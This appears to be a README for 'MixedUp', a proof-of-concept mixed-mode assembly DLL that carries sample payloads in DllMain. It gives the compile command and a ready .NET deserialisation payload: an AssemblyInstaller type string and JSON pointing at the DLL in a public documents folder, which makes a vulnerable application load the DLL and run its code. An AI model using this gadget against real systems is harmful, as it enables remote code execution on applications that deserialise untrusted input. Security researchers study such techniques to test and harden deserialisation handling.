MixedUp

Mixed Mode Assembly PoC with sample payloads in DLLMain

Compile

cl /clr /LD MixedAssembly.cpp -o MixedAssembly64.dll

Calling

Deserialisation example

Type: 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=0.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'

JSON: '{"Path":"file:///c:/users/public/documents/MixedAssembly64.dll","CommandLine":["a","a"],"UseNewContext":false}'

To do

• Work out whether it is possible to accept commandline arguments